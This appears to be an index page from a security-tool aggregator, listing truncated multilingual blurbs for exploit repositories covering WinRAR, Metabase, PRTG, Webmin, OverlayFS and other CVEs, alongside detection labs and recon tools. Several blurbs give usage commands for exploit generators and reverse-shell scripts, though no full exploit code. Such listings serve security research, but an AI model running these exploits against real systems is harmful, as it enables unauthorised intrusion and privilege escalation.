CVE-2023-38831-winrar-exploit

CVE-2023-38831 winrar エクスプロイトジェネレーター クイック PoC テスト テスト用のデフォルト PoC を生成します root@kitploit: python cve-2023-38831-exp-gen.py poc or python cve-2023-38831-exp-gen.py CLASSIFIEDDOCUMENTS.pdf script.bat poc.rar カスタム 1. ベイトファイルと（悪意のある）スクリプトファイルをカレントディレクトリに配置します。ベイトファイルは画像（.png, .jpg）またはドキュメント（.pdf）を推奨します。...

h2conn-exploit

CVE-2022-41717 用エクスプロイト...

CVE-2025-7771

CVE-2025-7771 Exploit para invocar funciones arbitrarias del modo kernel desde el modo usuario abusando del controlador ThrottleStop. Demostración Referencias https://github.com/jonomango/superfetch https://securelist.com/av-killer-exploiting-throttlestop-sys/117026/...

CVE-2023-38646

CVE-2023-38646-exploit "CVE-2023–38646 として識別されるこの脆弱性により、攻撃者は認証を必要とせずにサーバー上で任意のコマンドを実行できました。" cve-2023-38646 用の簡易リバースシェルエクスプロイトスクリプト。 この脆弱性を発見したわけではなく、スクリプトを作成しただけです。 使用法 root@kitploit: root@box:/CVE-2023-38646 python3 exploit.py / \ \ / / | | \ / \ | \ | \ / \ / /| || | / / | | \ \ / /| | | | | |...

CVE-2022-1015-1016

CVE-2022-1015 & CVE-2022-1026 このREADME.mdは、Davidのブログの翻訳です。DavidはLinuxカーネルでCVE-1015および1016を発見しました。原文を読むには彼のウェブサイトをご覧ください。 彼のソーシャルメディアはこちら: Twitter Github nftablesにおけるLinuxの2つの新たな脆弱性の分析 2022年4月2日公開 CVE-2022-1015は、入力引数の検証不足に起因するout-of-boundsアクセスを引き起こし、リモートコード実行やローカル特権昇格につながる可能性があります。...

oppo-pgem10-ghostlock

OPPO Find X6 Pro GhostLock 适配项目 概述 本项目针对 CVE-2026-43499 GhostLock 漏洞在 OPPO Find X6 Pro PGEM10 上进行适配研究。 基于 NebuSec CyberMeowfia 原始 exploit 架构，参考 oppo-ghostlock 适配思路。 设备信息 项目| 值 ---|--- 设备| OPPO Find X6 Pro PGEM10 芯片| Snapdragon 8 Gen 2 SM8550 内核| Linux 5.15.149-android13 1 SMP PREEMPT 编译日期| Thu Fe...

CVE-2021-3007-docker-poc

CVE-2021-3007 — Laminas/Zend HTTP デシリアライゼーション RCE このリポジトリには、CVE-2021-3007 の完全に再現可能な Proof-of-Concept および Nuclei エクスプロイトテンプレートが含まれています。CVE-2021-3007 は、Zend\Http\Response\Stream（laminas-http Nuclei exploit template ├── docker-compose.yml - Vulnerable test environment ├── Dockerfile ├──...

CVE-2018-9276

CVE-2018-9276 CVE-2018-9276 PRTG 18.2.39 リバースシェル Python3サポート 依存関係 Impacket python3 バージョン Netcat Msfvenom 使用方法 root@kitploit: git clone https://github.com/A1vinSmith/CVE-2018-9276.git ./exploit.py -i targetIP -p targetPort --lhost hostIP --lport hostPort --user user --password pass 1...

CVE-2024-37742

CVE-2024-37742 再現ガイド:Clipboard Exploit in SEB ≤ 3.5.0 Windows...

vulnx

vulnx 脆弱性データを探索するためのモダンなCLI。強力な検索、フィルタリング、分析機能を備えています。 クイックスタート root@kitploit: 1. Get vulnx go install github.com/projectdiscovery/vulnx/v2/cmd/vulnx@latest 2. Explore commands vulnx --help vulnx search --help 3. Start exploring vulnerabilities no API key required vulnx filters See all available...

OverlayFS-CVE-2021-3493

gcc Exploit.c -o Exploit whoami root...

CVE-2026-31431-Copy-Fail-R-pertoire-de-Pr-vention

🔴 CVE-2026-31431 — Copy Fail Linux内核本地权限提升（LPE）——防御性研究仓库 📖 介绍 Copy Fail CVE-2026-31431 是一种影响Linux内核的本地权限提升（LPE）漏洞，通过AFALG、splice和authencesn机制实现对页缓存的受控破坏。 本仓库的目标是： 记录漏洞的内部机制， 解释完整的利用逻辑链， 介绍防御性影响， 提供检测策略， 给出缓解措施， 提升对Linux内核安全的认知。 ⚠️ 本项目严格用于教育、防御和安全研究目的。 📑 目录 概述 漏洞机制 攻击面 实验室演示 检测与入侵指标 缓解措施 时间线 参考 法律声...

CVE-2022-24990-POC

CVE-2022-24990-POC Es solo un PoC, no un exploit En Windows use cve-2022-24990.exe En Linux use cve-2022-24990 El uso es muy sencillo: -u Escaneo de un solo objetivo -f Escaneo por lotes -t Número de hilos, por defecto 20...

CVE-2021-3560

CVE-2021-3560 PolKit Race Condition Local Privilege Escalation Analysis toc Vulnerability Overview Vulnerability ID: CVE-2021-3560 Vulnerability Score: Vulnerable Product: Linux PolKit polkitd Affected Versions: Introduced in source code 0.113;...

CVE-2018-16119

CVE-2018-16119: TP-Link WR1043ND における認証済みリモートコード実行 概要 CVE-2018-16119 は、TP-Link TL-WR1043ND ルータに影響を与える深刻な認証済みリモートコード実行の脆弱性です。この脆弱性により、認証された攻撃者はターゲットデバイス上で root 権限で任意のコマンドを実行できるようになり、システム全体が危険にさらされる可能性があります。 CVE 詳細: CVE-2018-16119 脆弱性の影響 攻撃ベクトル: ネットワーク 攻撃複雑性: 低 必要な権限: 低 認証が必要 ユーザー操作: 不要 影響範囲: 変更あり...

lazyrecon

root@kitploit: | | | |/ | /| | | | / / |/ | \ | | | / / | | | | | | / | | | ||\ |/ \ || ||/|| |v2 |/ Lazyrecon v2 is a subdomain discovery tool that finds and resolves valid subdomains then performs SSRF/LFI/SQLi fuzzing, brute-force and port scanning. It has a simple modular architecture and...

lazyrecon

root@kitploit: | | | |/ | /| | | | / / |/ | \ | | | / / | | | | | | / | | | ||\ |/ \ || ||/|| |v2 |/ Lazyrecon v2 は、有効なサブドメインを発見・解決し、SSRF/LFI/SQLi ファジング、ブルートフォース、ポートスキャンを実行するサブドメイン発見ツールです。シンプルなモジュラーアーキテクチャを持ち、github や wayback machine と連携しながら高速化に最適化されています。 機能 超高速な非同期実行 CI/CD 対応 HTML/pdf レポート...

Webmin-CVE-2022-0824-Enhanced-Exploit

Webmin-CVE-2022-0824-Enhanced-Exploit !IMPORTANT Webmin CVE-2022-0824 拡張版エクスプロイトツール - コマンド実行とリバースシェルのデュアルモード対応 !IMPORTANT Webmin CVE-2022-0824 の脆弱性を狙った拡張版エクスプロイトツールです。直接のコマンド実行とリバースシェルの2つのモードに対応しています。 🚀 特徴 ✅ デュアルモード対応 : コマンド実行モード + リバースシェルモード ✅ 複数ペイロード : Perl、Bash、Pythonの3種類のペイロード ✅ スマートなファイル管理 :...

printnightmare-detection-lab

PrintNightmare脅威検出・インシデントレスポンスラボ CVE-2021-34527 📌 概要 このプロジェクトは、PrintNightmare CVE-2021-34527 を標的とした、エンドツーエンドのセキュリティ監視、検知エンジニアリング、およびインシデントレスポンスの実装を文書化しています。PrintNightmareは、Windowsプリントスプーラーサービス spoolsv.exe における重大な脆弱性であり、認証なしのリモートコード実行 RCE と、SYSTEM 権限へのローカル権限昇格 LPE を可能にします。...

strix

Strix The open-source AI pentesting tool. Autonomous AI hackers that find and fix your app’s vulnerabilities. !TIP New! Strix integrates seamlessly with GitHub Actions and CI/CD pipelines. Automatically scan for vulnerabilit...